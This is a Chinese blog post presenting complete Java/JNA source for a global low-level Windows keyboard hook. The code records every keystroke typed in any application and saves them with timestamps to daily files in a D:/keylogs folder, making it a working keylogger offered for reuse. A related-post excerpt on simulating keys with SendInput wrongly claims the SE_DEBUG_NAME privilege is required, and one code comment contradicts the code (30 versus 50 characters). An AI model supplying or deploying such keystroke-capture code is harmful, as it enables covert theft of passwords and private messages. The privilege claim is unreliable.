使用jna实现键盘输入监听,不用回车

需要用到的 jna及jna-platform jar包
链接: https://pan.baidu.com/s/1C7Nr_ncifHgzybaobjPJlQ 提取码: ew5n

代码如下

import java.io.*;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import com.sun.jna.Pointer;
import com.sun.jna.platform.win32.Kernel32;
import com.sun.jna.platform.win32.User32;
import com.sun.jna.platform.win32.WinDef.HMODULE;
import com.sun.jna.platform.win32.WinDef.LPARAM;
import com.sun.jna.platform.win32.WinDef.LRESULT;
import com.sun.jna.platform.win32.WinDef.WPARAM;
import com.sun.jna.platform.win32.WinUser;
import com.sun.jna.platform.win32.WinUser.HHOOK;
import com.sun.jna.platform.win32.WinUser.KBDLLHOOKSTRUCT;
import com.sun.jna.platform.win32.WinUser.LowLevelKeyboardProc;
import com.sun.jna.platform.win32.WinUser.MSG;


public class WindowsKeybordListener {

    private static HHOOK hhk;
    private static LowLevelKeyboardProc keyboardHook;
    static List<Character> singleInput = new ArrayList<Character>(); //输入字符code集合
    private static String text = ""; //输入字符值拼接
    private static String caseCode() { //字符code集合转为字符值拼接
        StringBuffer buffer = new StringBuffer();
        for (Character i : singleInput) {
            buffer.append(i);
        }
        return buffer.toString();
    }

    public static void main(String[] args) {
        final User32 lib = User32.INSTANCE;
        HMODULE hMod = Kernel32.INSTANCE.GetModuleHandle(null);
        keyboardHook = new LowLevelKeyboardProc() {
            boolean isShiftUp = false;
            @Override
            public LRESULT callback(int nCode, WPARAM wParam, KBDLLHOOKSTRUCT info) {
                if (nCode >= 0) {
                    switch (wParam.intValue()) {
                        case WinUser.WM_KEYDOWN:// 只监听键盘按下
                            text = caseCode();
                            if (text.length() >= 50) { //输入字符超过30个即换行输出文件
                                System.out.println(text);
                                singleInput.clear();
                                //指定文件夹创建记录文件
                                String filePath = "D:/keylogs";
                                Date date = new Date();
                                SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH-mm-ss");
                                String curTime = format.format(date);
                                File file = new File(filePath+"/"+curTime.substring(0,10)+".doc");
                                try {
                                    if(!file.exists()) {
                                        file.createNewFile();
                                    }
                                } catch(IOException e){
                                    e.printStackTrace();
                                }

                                StringBuffer buffer = new StringBuffer("");
                                try {
                                    FileInputStream fileInputStream = new FileInputStream(file);
                                    InputStreamReader inputStreamReader = new InputStreamReader(fileInputStream);
                                    BufferedReader bufferedReader  = new BufferedReader(inputStreamReader);
                                    String line = bufferedReader.readLine();
                                    while(line!=null){
                                        buffer.append(line);
                                        buffer.append("\n");
                                        line = bufferedReader.readLine();
                                    }
                                    inputStreamReader.close();
                                    text = buffer + text +" -> "+curTime;

                                    FileOutputStream fileOutputStream = new FileOutputStream(file);
                                    fileOutputStream.write(text.getBytes());
                                    fileOutputStream.close();
                                }catch (Exception e) {
                                    e.printStackTrace();
                                }
                                break;
                            }

                            // 按下的是shift键时,标记一下
                            if (info.vkCode == 160) {
                                isShiftUp = true;
                            }
                            if (!isShiftUp) {
                                if (info.vkCode >= 65 && info.vkCode <= 90) {// 字母键
                                    singleInput.add((char) (info.vkCode + 32));
                                } else if (info.vkCode >= 219 && info.vkCode <= 221) {// [\]
                                    singleInput.add((char) (info.vkCode - 128));
                                } else if (info.vkCode >= 188 && info.vkCode <= 191) {// ,-./
                                    singleInput.add((char) (info.vkCode - 144));
                                } else if (info.vkCode >= 48 && info.vkCode <= 57) {// 数字键
                                    singleInput.add((char) info.vkCode);
                                }
                                if (info.vkCode == 186) {
                                    singleInput.add(';');
                                }
                                if (info.vkCode == 187) {
                                    singleInput.add('=');
                                }
                                if (info.vkCode == 192) {
                                    singleInput.add('`');
                                }
                                if (info.vkCode == 222) {
                                    singleInput.add('\'');
                                }
                            } else {
                                // 大写字母
                                if (info.vkCode >= 65 && info.vkCode <= 90) {
                                    singleInput.add((char) info.vkCode);
                                }

                                switch (info.vkCode) {
                                    case 186:
                                        singleInput.add(':');
                                        break;
                                    case 187:
                                        singleInput.add('+');
                                        break;
                                    case 188:
                                        singleInput.add('<');
                                        break;
                                    case 189:
                                        singleInput.add('_');
                                        break;
                                    case 190:
                                        singleInput.add('>');
                                        break;
                                    case 191:
                                        singleInput.add('?');
                                        break;
                                    case 192:
                                        singleInput.add('~');
                                        break;
                                    case 219:
                                        singleInput.add('{');
                                        break;
                                    case 220:
                                        singleInput.add('|');
                                        break;
                                    case 221:
                                        singleInput.add('}');
                                        break;
                                    case 222:
                                        singleInput.add('\"');
                                        break;
                                    case 48:
                                        singleInput.add('!');
                                        break;
                                    case 50:
                                        singleInput.add('@');
                                        break;
                                    case 51:
                                        singleInput.add('#');
                                        break;
                                    case 52:
                                        singleInput.add('$');
                                        break;
                                    case 53:
                                        singleInput.add('%');
                                        break;
                                    case 54:
                                        singleInput.add('^');
                                        break;
                                    case 55:
                                        singleInput.add('&');
                                        break;
                                    case 56:
                                        singleInput.add('*');
                                        break;
                                    case 57:
                                        singleInput.add('(');
                                        break;
                                    case 58:
                                        singleInput.add(')');
                                        break;
                                }
                            }
                            break;
                        case WinUser.WM_KEYUP:// 按键起来
                            if (info.vkCode == 160) {
                                isShiftUp = false;
                            }
                            break;
                    }
                }
                Pointer ptr = info.getPointer();
                long peer = Pointer.nativeValue(ptr);
                return lib.CallNextHookEx(hhk, nCode, wParam, new LPARAM(peer));
            }
        };
        hhk = lib.SetWindowsHookEx(WinUser.WH_KEYBOARD_LL, keyboardHook, hMod, 0);

        // This bit never returns from GetMessage
        int result;
        MSG msg = new MSG();
        while ((result = lib.GetMessage(msg, null, 0, 0)) != 0) {
            if (result == -1) {
                // System.err.println("error in get message");
                break;
            } else {
                // System.err.println("got message");
                lib.TranslateMessage(msg);
                lib.DispatchMessage(msg);
            }
        }
        lib.UnhookWindowsHookEx(hhk);
    }
}

以上代码参考某个前辈的经验,后期结合了自己的想法,搞得时候忘了记录链接,如果发现有自己的代码,请及时联系我,我会加上对应的参考链接
  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
使用 JNA 调用 Windows API 可以实现模拟键盘事件。以下是一个示例代码,使用 `SendInput` 函数发送键盘事件: ```java import com.sun.jna.Native; import com.sun.jna.Pointer; import com.sun.jna.platform.win32.User32; import com.sun.jna.platform.win32.WinDef; import com.sun.jna.platform.win32.WinUser; public class Main { public static void main(String[] args) { User32 user32 = User32.INSTANCE; // 模拟按下键盘按键 int VK_A = 0x41; // A键的虚拟键码 WinUser.INPUT input = new WinUser.INPUT(); input.type = new WinDef.DWORD(WinUser.INPUT.INPUT_KEYBOARD); input.input.setType("ki"); input.input.ki.wScan = 0; input.input.ki.time = 0; input.input.ki.dwExtraInfo = new BaseTSD.ULONG_PTR(0); input.input.ki.wVk = new WinDef.WORD(VK_A); input.input.ki.dwFlags = new WinDef.DWORD(0); // 0 表示按下键盘按键 user32.SendInput(new WinDef.DWORD(1), (WinUser.INPUT[]) input.toArray(1), input.size()); // 模拟释放键盘按键 input.input.ki.dwFlags = new WinDef.DWORD(WinUser.KEYEVENTF_KEYUP); // KEYEVENTF_KEYUP 表示释放键盘按键 user32.SendInput(new WinDef.DWORD(1), (WinUser.INPUT[]) input.toArray(1), input.size()); } } ``` 在上面的示例代码中,我们使用 `User32.INSTANCE` 获取 JNA 接口,然后定义了一个 `WinUser.INPUT` 结构体来存储键盘事件的信息。`SendInput` 函数用于发送输入事件,第一个参数是发送事件的个数,第二个参数是一个 `WinUser.INPUT` 数组,第三个参数是数组元素的大小。在发送键盘事件时,我们需要设置对应的虚拟键码和键盘事件类型,具体可以参考 Windows API 文档。 另外需要注意的是,为了发送键盘事件,程序需要获取 `SE_DEBUG_NAME` 权限,否则会报错。可以在程序启动时使用 `Advapi32.INSTANCE.OpenProcessToken` 函数获取当前进程的访问令牌,然后使用 `Advapi32.INSTANCE.LookupPrivilegeValue` 函数获取 `SE_DEBUG_NAME` 权限的 LUID,最后使用 `Advapi32.INSTANCE.AdjustTokenPrivileges` 函数开启 `SE_DEBUG_NAME` 权限。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值